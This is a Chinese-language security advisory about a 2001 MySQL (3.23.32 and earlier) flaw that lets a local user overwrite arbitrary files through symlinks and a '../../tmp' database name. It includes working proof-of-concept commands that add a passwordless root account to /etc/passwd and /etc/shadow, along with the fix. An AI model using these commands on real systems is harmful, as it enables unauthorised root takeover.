MySQLd 存在漏洞可以导致ROOT权利的破坏发布时间:2001-03-24 更新时间:2001-03-24 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 MySQL 3.23.32和以前的版本详细描述 本地用户可以利用MYSQLD来覆盖系统上的任意文件,如果MYSQL 以ROOT权利安装的话(RedHat 6.1 和 6.2 RPMs的MYSQLD以 ROOT身份运行 )。如果你拥有MYSQL的密码和用户名的话, 你可以使用../blah-blash作为合法数据库名让MYSQL接受,而 每个表有3个文件tablename.ISD, tablename.ISM 和 tablename.frm represented来表示,当MySQLd检查表是否存在的时候,它只检查 tablename.frm。 测试代码 $ cd /var/tmp $ ln -s /some/file/you/wish/to/overwrite qqq.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table qqq(www int); \q $ File /some/file/you/wish/to/overwrite will be overwritten. Usage to gain root: $ cd /var/tmp $ ln -s /etc/passwd gotcha.ISD $ ln -s /etc/shadow make_me_r00t.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table gotcha(qqq varchar(255)); create table make_me_r00t(qqq varchar(255)); insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n'); insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n'); \q $ 解决方案 以普通用户来运行mysqld并将数据库文件转换为普通属主。 相关信息 此信息有Pavlov, Lesha(mailto:lesha@NN.RU)提供。 |